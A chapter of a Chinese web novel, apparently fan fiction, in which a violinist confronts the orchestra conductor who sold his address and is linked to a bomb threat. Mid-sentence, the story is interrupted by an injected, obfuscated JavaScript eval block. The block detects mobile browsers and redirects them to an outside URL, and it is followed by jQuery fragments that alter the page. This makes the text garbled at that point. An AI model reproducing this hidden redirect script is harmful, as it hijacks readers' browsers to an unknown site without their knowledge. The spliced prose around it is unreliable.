“地址是正确的!你自己没跟上!能怪我吗!”
“凭什么要我退钱!”
在柜子前翻查资料的佐藤粟子对着手机低吼道,随后面对着对方无声的沉默,又放软了语调,“我正在找,你总要给我点时间。”
手机那边似是又在催促,佐藤粟子无语道:
“他上午刚来乐团取琴,我怎么知道他会不会来更新住址!”
高桥正心中大骇,上午取琴的只有小鹤一人,佐藤是在跟谁通电话?找的难道是小鹤的住址?!联想到昨天小鹤回家被追联系乐团发声明的事,还有什么是不明白的呢。
“再等我消息吧,住址没更新。”
佐藤粟子边说边往外走,挂断电话后打开房门的那一刻,就对上了黑眉乌脸的高桥正。
可能会被抓包的心虚让佐藤粟子嘴角微微发抖,但仍强装镇定道:“高桥先生怎么会在这里?”
“应该是我问你吧。”高桥正眼底的怒火几乎要喷涌而出,他怎么都没想到,原来小鹤天天被追的源头竟然就在这!就在乐团里面!就在他们的身边!
“你进入资料室找什么?”
“我—我有东西忘在里面了。”
看着咬死不认的佐藤,高桥正举起了手机,怒目而视,“找的是松田鹤的家庭住址吧,我全都听到了,你怎么能这么做!”
“不,高桥先生,不是这样的,你听我说……”
不顾佐藤粟子的苦苦哀求,高桥正拿着证据远去,徒留她一人在原地懊悔。
“就是这样,我提出来解聘,准备周一,也就是明天在乐团公布的。”搜查一课里高桥正缓缓说出了事情经过,看向松田鹤的脸上满是懊悔,“我没想到佐藤直接会去找你,还发生了这么恐怖的事情。”
“警察先生,我都有证据,还有今天早上那通电话的录音。”
“她亲口承认,小鹤的住址价值1亿日元。”
一时间,搜查一课里的警官们都不胜唏嘘,朝夕相处的同事竟是将你出卖给魔鬼的人。
1亿日元,或许那欲望才是真正的深渊。
掉进去,便万劫不复。
“关于炸弹,你知道多少?”在门口听完全程的松田阵平开口了。
萩原研二和他一起来的,看着蔫哒哒的小毛球,走到他身边揉了揉他的头顶无声安慰着。
“这个我真不知道啊。”高桥正焦急的说道,“她们的谈话中丝毫没提到过。”
“尽快提审佐藤粟子吧,目暮警官。”松田阵平面色凝重,“就在小鹤去见佐藤粟子的路上,爆处班就接到匿名报案,说米花五町目46番地‘美悦咖啡馆’内藏有炸弹。”
“ip地址是咖啡馆不远处的公共电话亭,报案人也用了变声器,”说到这里,松田阵平也不免有些脊背发凉,“但刚刚排查了路边的所有监控,那个时间段根本没有人进过电话亭。”
“这不可能是巧合。”
感觉到了小毛球不由自主的瑟缩,萩原研二的大掌滑落至他的脖颈,刚想捏就摸到了涩手的纱布。看着那十分扎眼的白,只觉得自己最柔软的内里被一层沙粒狠狠磨过,酸涩中带着憋屈,憋屈中又含着十分的心疼。
他们精心呵护20年的小毛球,孤立无援面对着一个想拉他共同堕入深渊的魔鬼时,怎么能那么镇定呢。
不让报警,独自周旋,留给别人的永远是坚定可靠的背影,似是那单薄的肩膀已经能撑起一片天地;他宁愿毛球还是小时候揣在兜里随时能掏出来看看的模样,长大有什么好呢。
警方立刻提审了佐藤粟子,可让所有人都没料到的是,她面对讯问时翻来覆去只有一句话,“让松田鹤来见我。”
说烦了就不管不顾的闭上了眼,一副不让松田鹤来见我,就休想让我再说一句话的模样。
案件进程一时间陷入了僵局,搜查一课里气氛也是十足的僵持,两个炸毛的家长将小毛球护在最柔软的肚皮下,据理力争!
“怎么能让小鹤再去见她!”愤怒的松田阵平几乎要将自己气成一只炸刺的河豚。
“松田我理解你的心情,可是…”
“可是什么!”目暮警官话还没说完就被陷入极度愤怒的松田阵平再次打断,“我弟弟的伤口刚止住血,吓得都没缓过神来,就要让他去面对那个差点抹了他脖子的疯子?!”
“松田,你冷静一点。”目暮警官走过去试图安抚这只暴怒的雄狮,并向雄狮形影不离的同伴寻求帮助,“萩原你也劝劝松田。”
“目暮警官,我也不赞同让小鹤去。”萩原研二敛去了往日里总是使人如沐春风的温柔,满面寒冰,“他没有责任去做这件事,今天的惊吓已经够多了。”
“松田,萩原,你们是受害者的家属心情我能理解。”目暮警官似是也觉得难以启齿,但仍旧开口了,“可你们也是警察。”
“你们不止要保护自己的家人。”
“我们都曾对着警徽宣誓过,将恪尽职守,以能力和勇气保护人民群众的生命与安全;将秉持公正,不偏不倚,维护社会的稳定与安宁。”
搜查一课内剑拔弩张的氛围僵持了下来,责任与家人被分别放在天平的两侧,所有人都沉默了。
孰轻孰重?
若是事情没有发生在自己身上,或许大家都能给出满分的答案。
先人后己,先公后私。
可有一天,做出选择的是自己呢?
“别说了,我去。”
“你没必要逼迫他们做出选择,这太残忍了。”
脖颈间缠着纱布的单薄身影从两位家长身后站起,紧紧回握住那两只同样炙热的手,似是汲取了无尽的勇气与力量,青年将独自前往面对未知的深渊。
目暮警官面色愧疚看向爆处班的两位警察,深深鞠了一躬后,亲自带领松田鹤前往审讯室。
审讯室内,佐藤粟子依旧保持着一言不发的模样,等听到门开合的动静后才睁开眼睛,一脸的笃定。
“你来了。”嘶哑的声音像是从地狱中爬回的噩梦。
松田鹤稳稳坐在了离她有一段距离的座位上才开口,“不是说要见我吗?佐藤小姐。”
那双满是血丝的眼睛死死的盯着眼前的人,似是寻找着什么。
可,什么都没有。
没有怨恨,没有愤怒,没有惧怕,那双凫青色的眼睛一如往日,平静的看着你。
佐藤粟子突然有些恍惚,好像她们刚从演出台上下来,互道再见后,明天依旧会演
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496669|202542||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出前道一声对方光彩照人,然后登台默契演出。
“你就不恨我吗?”佐藤粟子最终还是问出了这个问题,随后坦然道:“高桥正应该都告诉你了吧。”
“你之前的住址是我透露出去的。”似是自暴自弃了,佐藤粟子只想看他的平静无波的脸上能不能荡出些涟漪。
“还有好几次的围堵、追逐都是我提前透露了行程。”
“刚回国的那次演出,就那个雨夜。”佐藤粟子一点点的加码,仔细审视着那凫青色的瞳孔,哪怕流露出一点愤怒也好啊,“我是故意在你面前说粉丝们冒雨等你。”
“你总是那么心软,我还没说她们在雨中有多可怜,你就急忙跑去让她们回家。”
“为了钱吗?”青年的轻声的询问打断了还在自我剖析的人,可随后他又自己给出了答案,“作为乐团指挥,你并不缺这些。”
“佐藤小姐,我们共事多久了?”
佐藤粟子迷茫的看着眼前突然追忆往昔的人,嘴巴张开后复又闭上,似是在思索。
“7个月了。”松田鹤再次给出了答案,“我依旧记得刚到乐团时,你站在台上的模样。”
“那时所有人都对我这位空降的乐团首席带有偏见,觉得20岁的年纪狂妄自大,觉得高桥先生必定有私心。”
似是陷入了回忆,松田鹤的眼前又徐徐浮现了那天的场面。
排练台上,所有人陆续走至自己的位置上坐定。
松田鹤也在高桥先生的目送中,拿着琴稳稳地踏上舞台,走到了指挥台的左侧。
这是他进入乐团后第一次排练,演奏台上大家都纷纷调整着乐谱与架子发出窸窸窣窣的声响。
年仅20岁的青年面色稳如泰山,却心中忐忑,没人知道他握琴的手在细微的发抖,真正的站在指挥左侧的第一个位置,无言的压迫感铺天盖地席卷而来。
不仅周围的乐手在好奇的打量着他,似乎在评判着空降的首席能否成功通过考验。
连他自己也在内心深处询问着,你能做好吗?
按部就班的带着提琴部调音后,松田鹤对上了那位指挥的眼睛,越过了浮尘与阳光,浅褐色的瞳孔中满是鼓励与善意,如同秋日里和煦的日光洒落在他身上。
松田鹤仔细分辨了口型,‘加-油,我与你同在。’
那一刻,他恍惚间明白了指挥与首席两者的意义,相辅相成,互为后盾,在演出台上他们就是彼此间的勇气与托底。
那场演奏的曲目是《康康舞曲》,曲子节奏明快,动感强烈,鲜明的二四拍贯彻其中,充满了欢快的活力与极具韵律的动感。
其堪称节奏与风格的试金石,小提琴几乎贯穿始终,快速的换弦、连弓、跳弓,十分考验演奏者对于节奏的精准控制。
手指在琴弦上起舞时,松田鹤余光观察着那位站在指挥台上的挺拔身姿,那个发散着耀眼光芒的背影是他一步步走至今天的源头,是他演奏台上的引路者。
时隔近200多天,那人的一举一动清晰的依旧近在眼前。
与这位坐在他身前的佐藤粟子缓缓重合,曲声、排练台、台下的掌声轰然消散,唯有那双凫青色的眼睛穿越了时空缝隙,停留在了原地,迟迟不肯醒来。